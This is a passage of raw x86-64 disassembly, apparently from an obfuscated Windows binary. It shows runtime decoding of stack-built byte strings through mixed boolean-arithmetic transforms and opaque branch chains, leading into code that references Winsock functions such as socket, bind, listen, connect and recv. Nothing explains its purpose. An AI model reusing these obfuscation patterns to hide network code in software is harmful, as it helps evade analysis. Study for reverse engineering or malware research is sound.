jmp 0x14007fa63
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400802c2
movzx r11d, r10b
lea edx, [r11 + 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
jmp 0x140080292
movzx r11d, r10b
lea edx, [r11 - 0x24]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 4
jmp 0x14008033e
lea edx, [r10 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007fa63
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x14007fa63
lea edx, [r10 - 0x76]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x1400803a5
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x140080014
lea edx, [r10 + 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4b
jmp 0x14007febb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008004e
lea edx, [r10 + 0x3e]
movzx eax, r9b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x310]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080077
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008033e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400800a8
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007fa63
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007febe
movzx r11d, r10b
lea edx, [r11 + 0x6e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
jmp 0x1400803a5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400800fe
movzx r11d, r10b
lea edx, [r11 + 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x75
jmp 0x1400803a5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007fe74
lea ecx, [r10 - 0x17]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5f
dec r10
inc r10
jmp 0x14007fa63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080164
lea ecx, [r10 + 0x7c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x64
movzx eax, byte [rbp + r10 + 0x310]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008018d
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
jmp 0x140080292
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400801b5
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140080427
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400801de
movzx r11d, r10b
lea edx, [r11 + 0x5a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x76
jmp 0x14008033e
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007fe2f
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400803a5
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x310]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
jmp 0x14008033e
movzx r11d, r10b
lea edx, [r11 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140080292
lea ecx, [r10 + 0x15]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6d
movzx eax, byte [rbp + r10 + 0x310]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa63
movzx r11d, r10b
lea edx, [r11 - 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x41
add dil, dl
add r11b, 0x61
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x59
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x310], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5c
add r9b, cl
mov byte [rbp + r10 + 0x310], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x310]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa63
lea ecx, [r10 - 0x3d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x55
jmp 0x140080427
movzx r11d, r10b
lea edx, [r11 + 0x37]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7f
add dil, dl
sub r11b, 0x65
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x3d
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x310], cl
add rbx, r8
jmp 0x140080427
movzx r11d, r10b
lea edx, [r11 - 0x1b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x43
jmp 0x1400803a5
movzx r11d, r10b
lea edx, [r11 + 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6f
add dil, dl
sub r11b, 0x2b
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x2d
add r9b, r11b
mov byte [rbp + r10 + 0x310], r9b
inc r8
dec r10
inc r10
jmp 0x14007fa63
lea ecx, [r10 - 0x6d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 5
inc r8
dec r10
inc r10
jmp 0x14007fa63
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
add rbx, r8
jmp 0x140080427
lea rax, [r10 + rsi]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x5d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007fa63
lea rax, [r10 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x1f
movzx eax, byte [rbp + r10 + 0x310]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa63
add r10b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 9
jmp 0x14007fa60
sub r10b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x61
jmp 0x14007fa46
lea rcx, [rbp + 0x1502994]
jmp 0x1400804bc
lea rcx, [rbp + 0x13694f7]
jmp 0x1400804bc
lea rcx, [rbp + 0x310]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
movaps xmm3, xmm11
movaps xmm2, xmm12
lea rdx, [0x1401db6bc]
call fcn.14003ffa0
mov esi, dword [0x1401dd438]
mov r14d, dword [reloc.WS2_32.dll_bind]
mov byte [rbp + 0x330], 0xe5
mov byte [rbp + 0x331], 0x3a
mov byte [rbp + 0x332], gethostname
mov byte [rbp + 0x333], 0x83
mov byte [rbp + 0x334], 0xd7
mov byte [rbp + 0x335], 0x42
mov byte [rbp + 0x336], 0x57
mov byte [rbp + 0x337], 0xdf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x338], xmm0
mov qword [rbp + 0x348], rax
movabs r15, 0xb63dc7b5bcdc62bb
movabs r12, 0x682c0563a3bf7893
movabs r13, 0x22b9572136952831
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x140081087
movzx r9d, byte [rbp + r10 + 0x330]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008107e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400805bc
lea rcx, [r10 + r15]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x1d
jmp 0x1400805f0
je 0x140081010
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080fae
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080f81
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140080f3d
nop dword [rax]
cmp r8, r10
ja 0x140081075
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14008061a
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x140080650
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140080f22
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080efe
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140080eb3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140080e86
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140080b91
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140080b73
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140080b4b
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140080b26
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140080b07
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140080ae9
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140080aca
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140080aa7
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140080a8c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080660
lea rbx, [r8 + 9]
lea r8, [rbx + 4]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140081058
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008103b
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140080848
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008082d
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140080812
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140080a41
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400809fc
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400809bf
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140080999
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140080660
lea rbx, [r8 + 0xa]
lea r8, [rbx + 5]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008096c
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140080951
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008092e
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008090f
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400808f1
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400808d2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400808ad
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140080885
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140080863
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140080660
lea rbx, [r8 + 0x10]
lea r8, [rbx + 6]
jmp 0x140080660
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
jmp 0x140080650
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
jmp 0x1400805f0
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
jmp 0x140080586
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dl, 8
add dil, dl
movzx edx, r10b
jmp 0x140080f56
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140080573
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140080573
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
movzx r11d, r10b
jmp 0x140080e45
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
add rbx, r8
jmp 0x140080f95
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080f95
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140080ecd
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x140080fcd
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x140080573
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x59
mov byte [rbp + r10 + 0x330], dil
inc r10
jmp 0x140080573
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
cmp r8, 0x20
jb 0x1400809af
movzx edx, r10b
lea ecx, [rdx - 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x1c]
jmp 0x140080f56
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
cmp rbx, 0x10
jae 0x140080e23
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140080cec
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x1400809d5
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x140080e6f
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140080c73
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
jmp 0x140080a12
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x140080fcd
movzx r11d, r10b
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080ecd
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080f95
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
add rbx, r8
jmp 0x140080f95
movzx r11d, r10b
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140080e45
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140080573
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140080573
movzx edx, r10b
lea ecx, [rdx + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x140080f56
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140080bb8
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
jmp 0x140080a57
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080bf2
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x140080573
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080c1a
movzx r11d, r10b
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x140080ecd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080c45
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140080f95
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140080a57
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
dec r10
inc r10
jmp 0x140080573
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080c9a
movzx edx, r10b
lea ecx, [rdx + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
jmp 0x140080f56
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080cc4
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
dec r10
inc r10
jmp 0x140080573
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080a12
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
jmp 0x140080f95
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080d26
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x140080573
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080d4e
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080fcd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080d7a
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080ecd
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080da1
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
add rbx, r8
jmp 0x140080f95
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140080dca
movzx r11d, r10b
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080e45
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140080df8
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140080573
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400809d5
movzx edx, r10b
lea ecx, [rdx + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x140080f56
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x330]
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x4d
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x1b
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x330], r11b
add rbx, r8
jmp 0x140080f95
movzx r11d, r10b
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 2]
jmp 0x140080ecd
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6b
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x140080573
movzx r11d, r10b
lea ecx, [r11 - 0x6f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 9
add r11b, 0x29
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x1f
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x330], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140080fcd
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
inc r8
dec r10
inc r10
jmp 0x140080573
movzx edx, r10b
lea ecx, [rdx - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
jmp 0x140080f56
movzx edx, r10b
lea ecx, [rdx - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
add dl, 0x3d
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
add r9b, 0x55
add r9b, dl
mov byte [rbp + r10 + 0x330], r9b
inc r8
dec r10
inc r10
jmp 0x140080573
lea rcx, [r10 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 5
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140080573
movabs rax, 0x8f34e68cb04deda7
add rax, r10
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x6f
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r9b
mov byte [rbp + r10 + 0x330], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x140080573
lea rcx, [r10 + r13]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x57
movzx eax, byte [rbp + r10 + 0x330]
add rax, r8
add r10, rax
inc r10
jmp 0x140080573
add r10b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x11
jmp 0x140080570
sub r10b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x29
jmp 0x140080555
lea rcx, [rbp + 0x15258d4]
jmp 0x14008108e
lea rcx, [rbp + 0x6ebb8f]
jmp 0x14008108e
lea rcx, [rbp + 0x330]
mov r9d, esi
lea r8, [0x1400459f0]
mov edx, r14d
call fcn.14004e8e0
mov r14d, dword [0x1401dd43c]
mov r15d, dword [reloc.WS2_32.dll_connect]
mov byte [rbp + 0x350], 0xf4
mov byte [rbp + 0x351], 0xeb
mov byte [rbp + 0x352], 0xe3
mov byte [rbp + 0x353], 0xe4
mov byte [rbp + 0x354], 0xeb
mov byte [rbp + 0x355], 0xe8
mov byte [rbp + 0x356], 0xe4
mov byte [rbp + 0x357], gethostname
mov byte [rbp + 0x358], recvfrom
mov byte [rbp + 0x359], 0xec
mov byte [rbp + 0x35a], 0xdb
mov byte [rbp + 0x35b], 0x53
xor eax, eax
mov qword [rbp + 0x35c], rax
mov word [rbp + 0x364], ax
movabs r12, 0x8ac98494b2c4f974
movabs r13, 0xa05c8dbe184eec5c
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x140081ae6
movzx r9d, byte [rbp + r10 + 0x350]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140081add
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008118c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x2c
jmp 0x1400811c6
je 0x140081a63
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400819cc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081974
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008194f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140081905
cmp r8, r10
ja 0x140081ad4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400811f4
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081221
je 0x1400818e5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400818da
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400818bf
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400818a4
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x140081594
nop
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140081571
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008154d
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008153f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008151c
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140081501
lea rbx, [r8 + 6]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140081ab4
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140081a94
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008139a
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14008137b
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14008135c
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400814bf
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140081499
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140081230
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 5]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008146c
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140081451
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140081432
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140081417
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400813f9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400813d6
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400813b5
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x200]
jmp 0x140081230
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081221
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400811c6
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x140081156
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
dec r10
inc r10
jmp 0x140081143
lea edx, [r10 + 0x68]
movzx eax, dl
